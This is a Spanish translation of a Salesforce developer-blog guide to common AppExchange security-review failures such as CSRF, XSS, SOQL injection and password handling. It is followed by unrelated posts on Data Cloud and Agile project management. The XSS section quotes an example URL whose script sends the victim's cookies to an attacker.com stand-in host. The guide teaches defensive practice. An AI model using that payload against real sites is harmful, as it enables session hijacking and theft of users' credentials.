Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el diseño del sitio web de Salesforce y viola el espíritu del modelo de seguridad de Lightning, donde los componentes están estrictamente aislados y se garantiza que permanecerán en su propio carril.

¿Cómo puedo abordar esto?

Este es otro problema que debes verificar manualmente. Básicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. También recomendamos revisar nuestra documentación para asegurarse de que está siguiendo todas las reglas CSS correctas.

#15 — Canal de mensajes expuesto

¿Qué es esto?

Este término se refiere específicamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

¿Cómo puedo abordar esto?

Tiene dos opciones, según su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminación de componentes administrados para su paquete u organización de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectaría la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (asegúrese de mencionar esto específicamente en un mensaje falso). documento positivo sobre su presentación).
  2. Si tiene que utilizar un componente de canal LMS, asegúrese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice únicamente el componente recién creado en el código.

Más información está disponible en la documentación .

#16 – Información confidencial en URL

¿Qué es esto?

Esto se refiere a una situación en la que se envía información confidencial de larga duración en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contraseña). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de búsqueda indexan URL y almacenan inadvertidamente información confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, caché del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Información de URL enviada a aplicaciones web de terceros a través del encabezado de referencia o expuesta a scripts de terceros en la página

¿Cómo puedo abordar esto?

Burp Suite puede ayudarle aquí para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicación para detectar cualquier caso en el que se envíen secretos a largo plazo a través de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su método de autenticación (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores métodos de almacenamiento de secretos.

La guía OWASP es un gran recurso a seguir.

#17 – Punto final inseguro

¿Qué es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

¿Cómo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma aún más segura de verificar esto es buscar en el código fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco más sobre cómo esto mejora la seguridad en esta página de OWASP .

#18 — Enumeración de nombre de usuario o correo electrónico

¿Qué es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situación en la que los atacantes pueden enumerar listas de nombres de usuario o correos electrónicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesión, funciones de olvido de contraseña o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contraseñas reutilizadas de bases de datos comprometidas y fugas o volcados de contraseñas.

¿Cómo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperación de contraseñas, intentos de inicio de sesión, etc., y asegúrese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electrónico ingresado es válido.

Por ejemplo, muchos sitios incluyen un mensaje genérico, como: "Si dicho usuario existe, recibirá un correo electrónico con un restablecimiento de contraseña". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electrónico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeración por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, también puede revisar sus funcionalidades de inicio de sesión manualmente.

OWASP tiene una guía útil para evitar la enumeración de correos electrónicos y nombres de usuarios.

#19 — Gestión de contraseñas

¿Qué es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener políticas de contraseñas problemáticas, como por ejemplo:

  • Permitir la reutilización de la misma contraseña cuando es necesario restablecerla
  • No solicitar la contraseña anterior cuando se permite a los usuarios establecer una nueva contraseña
  • Para restablecer la contraseña, enviar una contraseña temporal al correo electrónico de un usuario en texto sin formato
  • Dejar contraseñas predeterminadas en los usuarios raíz del servidor o de la base de datos

¿Cómo puedo abordar esto?

Además de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticación de OWASP para obtener algunas pautas sobre cómo establecer políticas de contraseñas seguras:

Burp Suite también es muy útil para identificar problemas relacionados con las contraseñas (por ejemplo, puede usarlo para intentar forzar sus páginas de inicio de sesión).

#20 – Eco de contraseña

¿Qué es esto?

Esto es un poco diferente del problema de administración de contraseñas descrito anteriormente. Un eco de contraseña se refiere a situaciones en las que las contraseñas se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia página de configuración) o en llamadas API/respuestas JSON.

¿Cómo puedo abordar esto?

Asegúrese de que su contraseña no se revele ni se transmita en texto sin formato en ninguna parte de su aplicación. Asegúrese de que en las páginas de configuración u otras páginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el botón si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contraseñas de OWASP para obtener más información.

Burp Suite , o quizás Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su solución incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organización. Burp Suite es una de las mejores herramientas de seguridad del mercado y también la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prepárate para invertir más tiempo en términos de revisión manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security también utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el código fuente del paquete Salesforce. También utilizan la base de datos CVE y el escáner Qualys SSL en la mayoría de los envíos.

Si tiene problemas de seguridad y necesita orientación técnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a través del Portal de seguridad para socios .

Por último, no podemos recomendar lo suficiente Trailhead en términos de preparación para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y también acabamos de renovar el módulo Revisión de seguridad de AppExchange , que analiza el proceso de envío de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Reúna todos los datos de sus clientes en Data Cloud ☁️

Reúna todos los datos de sus clientes en Data Cloud ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Reúna todos los datos de sus clientes en Data Cloud | Blog de desarrolladores de Salesforce

En nuestras publicaciones de blog anteriores, exploramos a alto nivel qué es Data Cloud para los desarrolladores. También exploramos algunas características interesantes de Data Cloud para desarrolladores . Le mostramos cómocrear conocimientos calculados , cómo usar Apex y cómo cargar datos mediante programación usando la API de ingesta . En esta publicación de blog, cubriremos características aún más increíbles que Data Cloud tiene para ofrecer.

La nube de datos está activa

Data Cloud es más que un lago de datos. Es una plataforma de datos activa. Los desarrolladores pueden traer datos desde cualquier sistema, canal o flujo de datos, ya sea en flujos continuos o en lotes. Con Data Cloud, puede conectar sus datos a través de diferentes sistemas que contienen los datos de sus clientes. Data Cloud se basa en nuestra plataforma Hyperforce , lo que significa que Data Cloud puede absorber fácilmente grandes volúmenes de datos. Con Hyperforce, Data Cloud es rápido y también puede capturar eventos segundos después de que ocurran.

Si piensa en cuántos clics hace cada cliente, el volumen de datos se expande rápidamente. Por ejemplo, a medida que los clientes abren y hacen clic en los correos electrónicos, navegan por las páginas de sus aplicaciones móviles y miran los productos en su sitio web, puede capturar esos datos de participación a medida que ocurren. Cuando envía un correo electrónico u oferta y es relevante para la persona que lo recibe, es mucho más probable que haga clic. Cuando un cliente hace clic, puede capturar la interacción en Data Cloud. A continuación, puede utilizar esa información para averiguar qué les interesa y si es probable que realicen una compra o no.

La nube de datos está integrada

Tener todos estos datos en tiempo real de múltiples fuentes empresariales es excelente. Pero los datos no son significativos a menos que pueda usarlos. Data Cloud se conecta de forma nativa a muchos proveedores de nube, como Google Cloud Storage , Azure Storage y Amazon S3 . Data Cloud también se conecta de forma nativa a Salesforce . Después de solo unos pocos clics, puede conectar cualquier organización de Sandbox o de producción de Salesforce a Data Cloud. Luego, Data Cloud puede ingerir cualquier objeto de Salesforce en un flujo de datos .

Después de que sus datos se ingieran en objetos de lago de datos (DLO) y se asignen a objetos de modelo de datos (DMO), un modelo de datos como el siguiente se integra dinámicamente en Data Cloud. Esto le permite ver visualmente todos los flujos de datos que están creando la vista única de su cliente.

Atrás quedaron los días en que Data Cloud era solo una plataforma de datos para marketing. Los datos almacenados en Data Cloud ahora se pueden usar en muchos sistemas. Los datos de Data Cloud se pueden usar en Amazon Ads y Google Ads mediante activaciones y objetivos de activación . También puede usar el conector de nube de datos nativo en Tableau para obtener nuevos conocimientos. Los aceleradores de Tableau listos para usar le permiten moverse aún más rápido usando tableros y libros de trabajo prediseñados y listos para usar. Con Data Cloud más Tableau, puede cubrir fácilmente nuevos conocimientos sobre su negocio al reunir todos sus datos. Los desarrolladores ahora pueden incorporar estos conocimientos impulsados por IA en una aplicación de su elección.

La nube de datos está automatizada

Los datos de Data Cloud también se pueden enviar a Salesforce mediante acciones de datos y eventos de la plataforma y luego aprovecharse en flujos mediante una variedad de acciones de datos que están disponibles en Salesforce Flow. Los desarrolladores pueden usar Flow para publicar información y segmentos calculados, actualizar flujos de datos, ejecutar resoluciones de identidad e incluso activar modelos de predicción. El flujo también puede obtener datos de un objeto de modelo de datos y almacenar esa información en una variable de colección para usarla en otras partes del flujo.

La nube de datos está abierta

Data Cloud tiene muchas asociaciones estratégicas con empresas como Amazon, Google, Snowflake y Meta. Estas asociaciones han ampliado la plataforma para permitir mayores posibilidades y ayudar a que sus datos sean más procesables. La mejor noticia es que nuestras asociaciones están creciendo constantemente, ¡y pronto habrá nuevas!

Recursos

Sobre los autores

Muralidhar Krishnaprasad (también conocido como MK o Murali para abreviar) es el vicepresidente ejecutivo de ingeniería que ejecuta datos, ML y análisis dentro de la organización de Marketing Cloud. Se unió a Salesforce hace tres años y está a cargo de crear, integrar y hacer crecer varios productos relacionados con datos, ML y análisis. Está liderando la iniciativa para repensar nuestra estrategia general de próxima generación que reúne lo mejor de big data, ML y análisis junto con nuestra plataforma para construir la base para el futuro digital.

Danielle Larregui es promotora sénior de desarrolladores en Salesforce, donde se enfoca en la creación de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificación. Danielle también disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos técnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al día con su contenido técnico.

Dianne Siebold es redactora técnica principal del equipo de Experiencia de contenido en Salesforce. Se especializa en desarrollo, inteligencia artificial y tecnologías de integración.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Incorporación de Agile en Salesforce DevOps – Inspire Planner

Incorporación de Agile en Salesforce DevOps - Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.

Melé

Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
  • Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Análisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
– No es tan flexible para cambiar a mitad del sprint.
– Requiere un alto nivel de disciplina y comprensión de los principios de Scrum.
– Puede que no sea tan efectivo para tareas complejas e interdependientes.
